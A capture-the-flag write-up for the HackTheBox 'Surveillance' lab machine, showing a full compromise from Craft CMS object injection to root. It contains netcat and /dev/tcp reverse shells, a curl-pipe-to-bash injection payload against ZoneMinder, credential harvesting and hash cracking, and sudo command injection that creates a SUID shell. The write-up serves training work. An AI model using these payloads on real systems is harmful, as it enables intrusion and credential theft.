HackTheBox Surveillance
Writeup for HackTheBox Surveillance
Machine Synopsis
Key exploitation techniques:
- Craft CMS PHP Object Injection (CVE-2023-41892)
- Information disclosure via
.env
and database backup (plaintext credentials, hashed passwords) - Hash cracking (SHA-256)
- ZoneMinder Authenticated Remote Code Injection (HostController.php API)
sudo
command injection viazm*.pl
scripts- SUID binary creation for root access
Enumeration
1
2
3
4
5
6
7
8
9
10
11
$ nmap -sC -sV 10.10.11.245
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan identified SSH and Nginx on port 80.
feroxbuster
was used for directory enumeration, revealing an /admin
endpoint that redirected to /admin/login
.
1
2
3
4
$ feroxbuster -u http://surveillance.htb -q --filter-status 404,503
...
302 GET 0l 0w 0c http://surveillance.htb/admin => http://surveillance.htb/admin/login
...
The source code of the index page revealed the CMS version: Powered by Craft CMS
.
1
2
3
4
5
6
7
8
9
<!-- footer section -->
<section class="footer_section">
<div class="container">
<p>
© <span id="displayYear"></span> All Rights Reserved By
SURVEILLANCE.HTB</a><br> <b>Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14"/>Craft CMS</a></b>
</p>
</div>
</section>
The version was identified as Craft CMS 4.4.14.
Exploitation
Craft CMS RCE (www-data) via CVE-2023-41892
Researching “CraftCMS 4.4.14 exploit” led to CVE-2023-41892, a PHP object injection vulnerability. A public exploit script from GitHub was used to gain Remote Code Execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 craft-cms.py http://surveillance.htb
[+] Executing phpinfo to extract some config infos
temporary directory: /tmp
web server root: /var/www/html/craft/web
[+] create shell.php in /tmp
[+] trick imagick to move shell.php in /var/www/html/craft/web
[+] Webshell is deployed: http://surveillance.htb/shell.php?cmd=whoami
[+] Remember to delete shell.php in /var/www/html/craft/web when you're done
[!] Enjoy your shell
> whoami
www-data
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A reverse shell was then established from the webshell.
1
2
3
4
5
6
7
8
9
10
11
12
# On attacker, set up Netcat listener
$ nc -nlvp 9999
listening on [any] 9999 ...
# On webshell, execute payload
> rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 9999 >/tmp/f
# Reverse shell received
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.245] 45450
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web$
Initial enumeration revealed matthew
and zoneminder
users in /home
. The .env
file within the Craft CMS directory was found, containing database credentials.
1
2
3
4
5
6
7
8
9
10
11
www-data@surveillance:~/html/craft$ cat .env
# ...
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_
# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
# ...
A database backup file surveillance--2023-10-17-202801--v4.4.14.sql.zip
was discovered in ~/html/craft/storage/backups
. This file was copied to the web root for easy download.
1
2
3
4
5
6
www-data@surveillance:~/html/craft/web$ cp /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip .
www-data@surveillance:~/html/craft/web$ ls
cpresources
...
surveillance--2023-10-17-202801--v4.4.14.sql.zip
...
The backup was downloaded and unzipped. The SQL dump contained a user hash.
1
2
3
4
5
6
7
8
9
10
$ wget http://surveillance.htb/surveillance--2023-10-17-202801--v4.4.14.sql.zip
$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive: surveillance--2023-10-17-202801--v4.4.14.sql.zip
inflating: surveillance--2023-10-17-202801--v4.4.14.sql
$ cat surveillance--2023-10-17-202801--v4.4.14.sql
-- MariaDB dump 10.19 Distrib 10.6.12-MariaDB, for debian-linux-gnu (x86_64)
--
...
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
...
hash-identifier
identified the hash 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
as SHA-256. hashcat
(mode 1400
) was used to crack it with rockyou.txt
.
1
2
3
4
5
6
7
8
9
10
$ hash-identifier 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
...
Possible Hashs:
[+] SHA-256
[+] Haval-256
$ hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
...
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490
...
The password starcraft122490
was cracked. SSH access was gained as matthew
.
1
2
3
$ ssh matthew@surveillance.htb
matthew@surveillance.htb's password: starcraft122490
matthew@surveillance:~$
Privilege Escalation
ZoneMinder Authenticated RCE (zoneminder)
Further enumeration on the system revealed a database.php
file for ZoneMinder, containing database credentials zmuser:ZoneMinderPassword2023
.
1
2
3
4
5
6
7
8
9
10
11
12
matthew@surveillance:/usr/share/zoneminder/www/api/app/Config$ cat database.php
...
public $test = array(
'datasource' => 'Database/Mysql',
'persistent' => false,
'host' => 'localhost',
'login' => 'zmuser',
'password' => 'ZoneMinderPassword2023',
'database' => 'zm',
'prefix' => '',
);
...
These credentials allowed mysql
login to the zm
database. However, the Users
table did not contain useful plaintext passwords.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
matthew@surveillance:/usr/share/zoneminder/www/api/app/Config$ mysql -u zmuser -p
Enter password: ZoneMinderPassword2023
...
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| zm |
+--------------------+
MariaDB [(none)]> use zm
Database changed
MariaDB [zm]> show tables;
+-----------------+
| Tables_in_zm |
+-----------------+
| Config |
| ControlPresets |
| Controls |
| Devices |
| Event_Summaries |
| Events |
| Events_Archived |
| Events_Day |
| Events_Hour |
| Events_Month |
| Events_Week |
| Filters |
| Frames |
| Groups |
| Groups_Monitors |
| Logs |
| Manufacturers |
| Maps |
| Models |
| MonitorPresets |
| Monitor_Status |
| Monitors |
| MontageLayouts |
| Servers |
| Sessions |
| Snapshot_Events |
| Snapshots |
| States |
| Stats |
| Storage |
| TriggersX10 |
| Users |
| ZonePresets |
| Zones |
+-----------------+
MariaDB [zm]> select * from Users;
| 1 | admin | $2y$10$BuFy0QTupRjSWW6kEAlBCO6AlZ8ZPGDI8Xba5pi/gLr2ap86dxYd.|
netstat -tnlp
showed a service listening on 127.0.0.1:8080
. An SSH local port forward was set up to access this service.
1
2
3
$ ssh matthew@surveillance.htb -L 8888:localhost:8080
matthew@surveillance.htb's password: starcraft122490
matthew@surveillance:~$
Browsing to http://localhost:8888
revealed the ZoneMinder web interface. The credentials admin:starcraft122490
(the password cracked earlier for matthew
’s admin account in Craft CMS) successfully logged into ZoneMinder.
The credentials matthew:starcraft122490
does not work but admin:starcraft122490
works.
ZoneMinder is known to be vulnerable to authenticated sql injection, specifically in the HostController.php
API endpoint (as indicated by a GitHub advisory). The exploit involves intercepting a login request in Burp Suite and modifying parameters to inject a command.
The __csrf_magic
token was captured from the login page. The malicious request was crafted with a reverse shell payload.
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
view=snapshot&action=create&monitor_ids[0][Id]=;curl+http%3a//10.10.14.5/shell|bash&__csrf_magic=key%3Af8dc3b7201112c84059d7ccd226d549fa01a6173%2C1719736107
A simple bash
reverse shell payload was created and served via an HTTP server.
1
2
3
4
5
6
7
# Create shell payload
$ cat shell
bash -i >& /dev/tcp/10.10.14.5/9999 0>&1
# Serve payload
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
A netcat
listener was set up, and the modified request was forwarded in Burp Suite.
1
2
3
4
5
6
nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.245] 37204
bash: cannot set terminal process group (1096): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$
This granted a reverse shell as the zoneminder
user.
sudo
Command Injection (Root)
sudo -l
as zoneminder
revealed specific sudo
privileges.
1
2
3
4
5
6
7
8
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
The zoneminder
user could execute any Perl script starting with zm
and ending with .pl
in /usr/bin/
as root
without a password. Listing these scripts:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
zoneminder@surveillance:/usr/share/zoneminder/www$ ls /usr/bin/zm*.pl
/usr/bin/zmaudit.pl
/usr/bin/zmcamtool.pl
/usr/bin/zmcontrol.pl
/usr/bin/zmdc.pl
/usr/bin/zmfilter.pl
/usr/bin/zmonvif-probe.pl
/usr/bin/zmonvif-trigger.pl
/usr/bin/zmpkg.pl
/usr/bin/zmrecover.pl
/usr/bin/zmstats.pl
/usr/bin/zmsystemctl.pl
/usr/bin/zmtelemetry.pl
/usr/bin/zmtrack.pl
/usr/bin/zmtrigger.pl
/usr/bin/zmupdate.pl
/usr/bin/zmvideo.pl
/usr/bin/zmwatch.pl
/usr/bin/zmx10.pl
The zmupdate.pl
script was chosen for command injection. The $(command)
syntax allows command substitution within the script’s arguments, which are then executed by sudo
.
First, a temporary file was created to confirm command execution as root.
1
2
3
4
5
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version 1 --user ' $(touch /tmp/owo)'
zoneminder@surveillance:/usr/share/zoneminder/www$ ls -la /tmp
...
-rw-r--r-- 1 root root 0 Jun 30 08:54 owo
...
Next, bash
was copied to /tmp
and its SUID bit was set, allowing it to run with root privileges.
1
2
3
4
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version 1 --user ' $(cp /bin/bash /tmp)'
...
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo /usr/bin/zmupdate.pl --version 1 --user ' $(chmod u+s /tmp/bash)'
...
Finally, the SUID bash
binary was executed to gain a root shell.
1
2
3
zoneminder@surveillance:/usr/share/zoneminder/www$ /tmp/bash -p
whoami
root